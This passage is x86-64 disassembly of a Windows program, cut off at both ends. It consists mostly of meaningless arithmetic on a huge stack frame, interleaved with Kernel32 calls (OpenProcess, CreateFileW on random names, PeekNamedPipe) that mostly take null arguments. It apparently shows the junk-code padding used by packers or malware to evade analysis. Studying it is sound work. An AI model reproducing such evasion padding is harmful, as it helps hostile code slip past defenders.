mov rax, qword [rsp + 0x152a0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa464], eax
mov eax, dword [rsp + 0xaf2c]
mov ecx, dword [rsp + 0xa958]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x145d8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x3ed]
mov byte [rsp + 0x74f], al
mov rax, qword [0x14028ee78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c18]
and eax, ecx
mov word [0x1402828ec], ax
mov rax, qword [rsp + 0x14a18]
mov rcx, qword [rsp + 0x15128]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa588], eax
lea rax, [0x140282690]
mov qword [rsp + 0x152a8], rax
mov eax, dword [rsp + 0xabe8]
mov ecx, dword [rsp + 0xa774]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3d0], eax
mov eax, dword [rsp + 0xa238]
mov dword [rsp + 0xafcc], eax
mov eax, dword [0x14028ee88]
mov ecx, dword [rsp + 0x7f7c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8e0], eax
movsx eax, word [rsp + 0x1b80]
movsx ecx, word [rsp + 0x1404]
sub eax, ecx
mov word [rsp + 0x29f4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rax, qword [rsp + 0x13f90]
movzx eax, byte [rax]
mov byte [rsp + 0x750], al
mov rax, qword [rsp + 0x14100]
movzx eax, word [rax]
mov rcx, qword [0x14028ee78]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1cc0], ax
movzx eax, byte [rsp + 0x2de]
movzx ecx, byte [rsp + 0x675]
sub eax, ecx
mov byte [0x14028ece8], al
mov rax, qword [rsp + 0x14180]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7840], eax
mov rax, qword [0x14028eea8]
mov rcx, qword [rsp + 0x14a58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xac54], eax
mov rax, qword [rsp + 0x15018]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x398]
sar eax, cl
mov byte [rsp + 0x73e], al
lea rax, [rsp + 0x2c94]
mov qword [rsp + 0x152b0], rax
mov rax, qword [rsp + 0x14420]
mov ecx, dword [rsp + 0xa5c4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xad40], eax
mov eax, dword [rsp + 0x8e7c]
mov dword [rsp + 0xafd0], eax
mov rax, qword [0x14028eb98]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14300]
mov qword [rsp + 0x152b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x152b8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa784], eax
mov eax, dword [rsp + 0xa3c0]
mov ecx, dword [rsp + 0xaba4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f50], eax
mov rax, qword [rsp + 0x14c38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14b08]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140281e8a], al
mov rax, qword [0x14028ee48]
movzx eax, word [rax]
mov word [rsp + 0x3024], ax
mov rax, qword [rsp + 0x14a40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6fd0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8b4], eax
mov eax, dword [rsp + 0xac8c]
mov ecx, dword [rsp + 0x7ab4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7b14], eax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x146d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdf], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14d00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x15270]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14a98]
mov word [rcx], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [0x14028eca8]
movzx eax, byte [rax]
mov byte [rsp + 0x751], al
movzx eax, word [rsp + 0x2b78]
movzx ecx, word [rsp + 0x2e44]
sub eax, ecx
mov rcx, qword [rsp + 0x14168]
mov word [rcx], ax
mov eax, dword [rsp + 0xa72c]
mov dword [rsp + 0xafd4], eax
mov rax, qword [rsp + 0x14f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa91c]
sub ecx, eax
mov eax, ecx
mov dword [0x1402828f0], eax
mov rax, qword [rsp + 0x14d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xade8], eax
mov rax, qword [rsp + 0x14730]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa594]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x86c4], eax
lea rdx, [rsp + 0xae04]
mov rcx, qword [rsp + 0x146b0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xaa80], eax
mov rax, qword [rsp + 0x14c98]
mov eax, dword [rax]
mov ecx, dword [0x1402826b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaaf4], eax
movzx eax, byte [rsp + 0x6f1]
movzx ecx, byte [rsp + 0x729]
sub eax, ecx
mov byte [rsp + 0x2bf], al
movzx eax, word [rsp + 0x2e30]
mov word [rsp + 0x3028], ax
mov rax, qword [rsp + 0x14580]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14028287c]
sar eax, cl
mov dword [rsp + 0xa5c0], eax
mov rax, qword [rsp + 0x14a18]
mov eax, dword [rax]
mov dword [rsp + 0xafd8], eax
mov eax, dword [0x1402828b8]
mov ecx, dword [rsp + 0x793c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa534], eax
lea rax, [rsp + 0x8ba4]
mov qword [0x14028eb78], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xafdc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x13ee8], rax
movzx eax, byte [rsp + 0x3f3]
movzx ecx, byte [rsp + 0x6ad]
shl eax, cl
mov byte [rsp + 0x656], al
mov rax, qword [rsp + 0x146d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bf8]
or eax, ecx
mov word [rsp + 0x24d8], ax
movsx eax, word [rsp + 0x2f58]
mov rcx, qword [rsp + 0x14448]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1aa0], ax
movzx eax, byte [rsp + 0x725]
mov byte [rsp + 0x752], al
mov eax, dword [rsp + 0xa584]
mov ecx, dword [rsp + 0xaabc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3f0], eax
mov rax, qword [rsp + 0x14348]
mov rcx, qword [rsp + 0x14760]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa6a8], eax
lea rax, [rsp + 0x2ff4]
mov qword [rsp + 0x152c0], rax
mov rcx, qword [rsp + 0x14938]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xa884], eax
movzx eax, byte [rsp + 0x6ee]
mov rcx, qword [rsp + 0x14280]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x666], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.e1FHNMvQzhVl0XSYP7ZEtrFVPdlmgk
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x152c8], rax
mov rax, qword [rsp + 0x144a8]
mov ecx, dword [rsp + 0xa90c]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140282760], eax
mov rax, qword [rsp + 0x15090]
mov eax, dword [rax]
mov dword [rsp + 0xafe0], eax
mov rax, qword [rsp + 0x143a8]
mov ecx, dword [rsp + 0xae5c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa618], eax
mov rax, qword [rsp + 0x151e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac84]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9824], eax
movzx eax, word [rsp + 0x2b68]
mov word [rsp + 0x302c], ax
mov rax, qword [rsp + 0x149e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14670]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x67b], al
mov eax, dword [rsp + 0xae14]
mov ecx, dword [rsp + 0x80fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d8c], eax
mov dword [rsp + 0x20], 0x5c0
mov r9d, 0x199f
mov r8d, 0x1239
mov edx, 0x284d
mov rcx, qword [rsp + 0x14370]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xaad8], eax
mov rax, qword [rsp + 0x15208]
mov rcx, qword [0x14028ed40]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xaa54], eax
mov eax, dword [rsp + 0xaa3c]
mov dword [rsp + 0xafe4], eax
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov dword [0x14028eb74], eax
mov rax, qword [rsp + 0x14e18]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14a88]
mov qword [rsp + 0x152d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x152d0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x15290]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x750]
movsx ecx, byte [rsp + 0x736]
shl eax, cl
mov byte [rsp + 0x6d2], al
mov rax, qword [rsp + 0x142b0]
movzx eax, word [rax]
mov word [rsp + 0x3030], ax
movzx eax, word [rsp + 0x2f18]
movzx ecx, word [rsp + 0x26c8]
xor eax, ecx
mov word [rsp + 0x2ff4], ax
movzx eax, byte [rsp + 0x709]
movzx ecx, byte [rsp + 0x638]
and eax, ecx
mov byte [rsp + 0x2ea], al
mov rax, qword [rsp + 0x14248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa408]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8a80], eax
mov rax, qword [rsp + 0x14ab8]
mov ecx, dword [rsp + 0xa55c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8a28], eax
mov rax, qword [rsp + 0x14978]
movzx eax, word [rax]
mov word [rsp + 0x3034], ax
movzx eax, byte [rsp + 0x5e9]
movzx ecx, byte [rsp + 0x660]
add eax, ecx
mov byte [0x140281e56], al
mov rax, qword [rsp + 0x14a70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa564]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9e4], eax
mov rax, qword [rsp + 0x15090]
mov eax, dword [rax]
mov dword [rsp + 0xafe8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0x14d90]
mov ecx, dword [rsp + 0x9b30]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x81a4], eax
mov rax, qword [rsp + 0x14ba8]
mov ecx, dword [rsp + 0xa6ec]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9d94], eax
mov rax, qword [rsp + 0x14708]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14168]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2124], ax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14280]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x63c], al
lea rdx, [rsp + 0x233c0]
mov rcx, qword [rsp + 0x14370]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xafec], eax
mov eax, dword [rsp + 0xa680]
mov dword [rsp + 0xaff0], eax
mov rax, qword [rsp + 0x14110]
mov rcx, qword [rsp + 0x14c80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14f50]
mov dword [rcx], eax
movsx eax, word [0x1402827fc]
mov rcx, qword [rsp + 0x140a8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x140282764], ax
movzx eax, byte [rsp + 0x731]
mov byte [rsp + 0x753], al
movzx eax, word [rsp + 0x2b20]
mov rcx, qword [rsp + 0x14a78]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x14e78]
mov word [rcx], ax
movzx eax, byte [0x14028ed22]
mov rcx, qword [rsp + 0x14c38]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x719], al
mov rax, qword [rsp + 0x14378]
mov ecx, dword [rsp + 0x9448]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x77b4], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaed8], eax
mov eax, dword [0x14028285c]
mov ecx, dword [rsp + 0xa8b8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf48], eax
mov eax, dword [rsp + 0xa8c0]
mov dword [rsp + 0xaff4], eax
mov rax, qword [rsp + 0x151d8]
mov rcx, qword [rsp + 0x15078]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9bd8], eax
mov rax, qword [0x14028ed40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ddc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x69a4], eax
movzx eax, byte [rsp + 0x63f]
mov byte [rsp + 0x754], al
movzx eax, word [rsp + 0x2964]
mov rcx, qword [rsp + 0x146d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402828f4], ax
mov rax, qword [0x14028ee38]
mov ecx, dword [rsp + 0xa450]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9bac], eax
mov rax, qword [rsp + 0x14178]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa658]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d98], eax
mov rax, qword [rsp + 0x14490]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xabb0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x69a4], eax
mov rax, qword [rsp + 0x14ef8]
mov rcx, qword [rsp + 0x14f80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14b48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144d0]
movzx eax, byte [rax]
mov byte [rsp + 0x755], al
mov rax, qword [rsp + 0x15060]
movzx eax, word [rax]
movzx ecx, word [0x14028280c]
sub eax, ecx
mov word [rsp + 0x3028], ax
mov rax, qword [rsp + 0x13ea8]
movzx eax, byte [rax]
mov byte [rsp + 0x756], al
movsx eax, word [rsp + 0x25a0]
movsx ecx, word [rsp + 0x18c8]
sub eax, ecx
mov word [rsp + 0x2d20], ax
mov rax, qword [rsp + 0x14da0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6944]
shl eax, cl
mov dword [0x1402828f8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov rax, qword [rsp + 0x14d58]
mov rcx, qword [rsp + 0x14e90]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa410], eax
mov rax, qword [rsp + 0x14e10]
movzx eax, byte [rax]
mov byte [rsp + 0x757], al
movzx eax, word [rsp + 0x1b28]
movzx ecx, word [rsp + 0x1f4c]
sar eax, cl
mov rcx, qword [rsp + 0x14100]
mov word [rcx], ax
mov rax, qword [rsp + 0x14420]
mov ecx, dword [rsp + 0x7610]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x69f8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rax, qword [rsp + 0x14588]
mov ecx, dword [0x1402827c4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xad68], eax
mov rax, qword [rsp + 0x14f70]
mov eax, dword [rax]
mov dword [rsp + 0xaff8], eax
mov rax, qword [rsp + 0x14e30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xac20], eax
movzx eax, byte [rsp + 0x699]
movzx ecx, byte [rsp + 0x4fa]
sub eax, ecx
mov byte [rsp + 0x733], al
movzx eax, word [rsp + 0x3014]
movzx ecx, word [rsp + 0x2dec]
sub eax, ecx
mov word [0x140282814], ax
mov eax, dword [rsp + 0xad0c]
mov dword [rsp + 0xaffc], eax
mov rax, qword [0x14028ecc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6984]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x696c], eax
mov rax, qword [rsp + 0x14cc0]
mov ecx, dword [rsp + 0xa560]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7144], eax
mov eax, dword [rsp + 0xad38]
mov ecx, dword [rsp + 0xa718]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7fc], eax
mov eax, dword [rsp + 0xaaa8]
mov ecx, dword [0x140282714]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a64], eax
movzx eax, word [rsp + 0x2d60]
mov word [rsp + 0x3038], ax
mov rax, qword [rsp + 0x14678]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6da]
sub eax, ecx
mov byte [rsp + 0x3f8], al
lea rax, [rsp + 0x662]
mov qword [rsp + 0x152d8], rax
mov rax, qword [rsp + 0x143e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14c90]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x140282704], ax
mov rax, qword [rsp + 0x15168]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac9c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xadd8], eax
mov eax, dword [rsp + 0x825c]
movzx ecx, al
mov eax, dword [rsp + 0xada4]
shr eax, cl
mov dword [rsp + 0x7c24], eax
movzx eax, byte [rsp + 0xb9]
mov byte [rsp + 0x758], al
mov rax, qword [rsp + 0x14b18]
movzx eax, word [rax]
mov rcx, qword [0x14028edf8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x14e78]
mov word [rcx], ax
mov rax, qword [rsp + 0x14c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7bf4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b74], eax
mov rax, qword [rsp + 0x151c8]
mov rcx, qword [rsp + 0x14c08]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa520], eax
mov rax, qword [rsp + 0x14d58]
mov eax, dword [rax]
mov dword [rsp + 0xb000], eax
mov rax, qword [rsp + 0x14838]
mov rcx, qword [rsp + 0x14e90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa43c], eax
mov rax, qword [rsp + 0x14708]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cf0]
sub eax, ecx
mov word [0x1402828fc], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x152e0], rax
movzx eax, byte [rsp + 0x2cd]
mov rcx, qword [rsp + 0x14700]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x633], al
mov rax, qword [rsp + 0x149d8]
mov eax, dword [rax]
mov dword [rsp + 0xb004], eax
mov eax, dword [0x1402826ec]
mov ecx, dword [rsp + 0x67e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xacb8], eax
mov rax, qword [rsp + 0x14fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1aa0]
sub eax, ecx
mov word [rsp + 0x17a8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
movsx eax, byte [rsp + 0x504]
movsx ecx, byte [rsp + 0x190]
add eax, ecx
mov byte [rsp + 0x374], al
mov rax, qword [0x14028ee48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14d40]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x19ac], ax
mov rax, qword [rsp + 0x14e10]
movzx eax, byte [rax]
mov byte [rsp + 0x759], al
mov eax, dword [rsp + 0x7da8]
mov ecx, dword [rsp + 0x97b0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xab48], eax
movzx ecx, word [rsp + 0x2f30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2f14], ax
mov eax, dword [rsp + 0x9108]
mov rcx, qword [rsp + 0x14a88]
mov qword [rsp + 0x152e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x152e8]
mov eax, dword [rax]
sar eax, cl
mov dword [0x14028ecd8], eax
mov eax, dword [rsp + 0x9ca4]
mov dword [rsp + 0xb008], eax
mov eax, dword [0x14028ec94]
mov ecx, dword [rsp + 0x6944]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x147d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15228]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3e8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14f00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14100]
movzx eax, word [rax]
mov word [rsp + 0x303c], ax
mov rax, qword [rsp + 0x14280]
movzx eax, byte [rax]
movzx ecx, byte [0x14028ece8]
shl eax, cl
mov rcx, qword [rsp + 0x14810]
mov byte [rcx], al
mov eax, dword [rsp + 0x7ab4]
mov ecx, dword [rsp + 0xa4ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9388], eax
mov rax, qword [rsp + 0x14ca0]
mov ecx, dword [rsp + 0xa518]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6c58], eax
mov eax, dword [rsp + 0xa968]
mov ecx, dword [rsp + 0xa70c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xae38], eax
mov rax, qword [rsp + 0x14a30]
mov eax, dword [rax]
mov dword [0x14028eb70], eax
mov rax, qword [rsp + 0x14a20]
movzx eax, byte [rax]
mov byte [rsp + 0x75a], al
mov rax, qword [rsp + 0x14c90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14918]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x157c], ax
mov rax, qword [rsp + 0x14bc0]
movzx eax, byte [rax]
mov byte [rsp + 0x75b], al
mov rax, qword [rsp + 0x14530]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b80]
sub eax, ecx
mov word [rsp + 0x2c10], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xaa8c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.hSbUAIxK_fHz3raVq68pH5z4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x152f0], rax
movzx ecx, word [rsp + 0x2f38]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2f8c], ax
mov eax, dword [rsp + 0x7f98]
mov ecx, dword [rsp + 0xa33c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9664], eax
mov rax, qword [rsp + 0x146c0]
mov ecx, dword [rsp + 0x6b44]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa758], eax
movzx eax, byte [rsp + 0x1aa]
mov rcx, qword [rsp + 0x14a90]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4f2], al
movzx eax, word [rsp + 0x2f00]
mov word [rsp + 0x3040], ax
mov rax, qword [rsp + 0x14ae0]
mov rcx, qword [rsp + 0x14b30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14028ee98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x143a8]
mov rcx, qword [rsp + 0x14098]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa6a0], eax
mov eax, dword [rsp + 0x779c]
mov dword [rsp + 0xb00c], eax
mov rax, qword [rsp + 0x14930]
mov rcx, qword [rsp + 0x141c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6f54], eax
mov rax, qword [rsp + 0x14e40]
movzx eax, byte [rax]
movzx ecx, byte [0x140281dba]
xor eax, ecx
mov byte [rsp + 0x747], al
movzx eax, word [rsp + 0x15d4]
movzx ecx, word [rsp + 0x2ef0]
shl eax, cl
mov word [rsp + 0x2798], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14d80], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.6EFlXy8UbnPNYqk1YNeN
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x152f8], rax
mov rax, qword [rsp + 0x14e18]
mov rcx, qword [0x14028eb98]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8b98], eax
lea rax, [rsp + 0xa138]
mov qword [rsp + 0x15300], rax
mov eax, dword [rsp + 0xa370]
mov rcx, qword [rsp + 0x15030]
mov qword [rsp + 0x15308], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15308]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xae40], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0x15208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4cc]
and ecx, eax
mov eax, ecx
mov dword [0x140282900], eax
mov rax, qword [rsp + 0x14de0]
mov ecx, dword [rsp + 0xa4c4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7d08], eax
mov rax, qword [rsp + 0x14c50]
movzx eax, byte [rax]
mov byte [rsp + 0x75c], al
mov rax, qword [rsp + 0x15150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2f24]
sub eax, ecx
mov word [rsp + 0x2ce0], ax
movzx eax, word [rsp + 0x2b50]
mov word [rsp + 0x3044], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14b60], rax
mov rax, qword [rsp + 0x14d08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x141a0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x662], al
mov rax, qword [rsp + 0x14510]
mov rcx, qword [0x14028eda0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6938], eax
mov rax, qword [rsp + 0x14140]
mov rcx, qword [rsp + 0x151e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7804], eax
mov rax, qword [rsp + 0x147b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14a00]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1cc0], ax
movzx eax, byte [0x140281daa]
mov rcx, qword [rsp + 0x14c10]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281e8b], al
mov eax, dword [rsp + 0xa67c]
mov dword [rsp + 0xb010], eax
mov rax, qword [rsp + 0x14f28]
mov ecx, dword [0x14028ecec]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x143a8]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x2f30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2f30], ax
mov rax, qword [rsp + 0x15090]
mov eax, dword [rax]
mov dword [rsp + 0xb014], eax
mov eax, dword [rsp + 0xac9c]
movzx ecx, al
mov eax, dword [rsp + 0xac78]
shr eax, cl
mov dword [rsp + 0xa848], eax
mov rax, qword [rsp + 0x145a8]
movzx eax, byte [rax]
mov rcx, qword [0x14028ecb0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x71e], al
mov rax, qword [rsp + 0x152b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14388]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x29f8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.Zf3JRDWHrZCHys65VXJp6SrCQ8qP
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15310], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov rax, qword [rsp + 0x150c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d98]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xad2c], eax
lea rax, [rsp + 0xa44c]
mov qword [rsp + 0x15318], rax
movsx eax, word [rsp + 0x2c28]
movsx ecx, word [rsp + 0x2f04]
and eax, ecx
mov word [0x14028ebd0], ax
movsx eax, byte [rsp + 0x64e]
mov rcx, qword [rsp + 0x145f0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14c68]
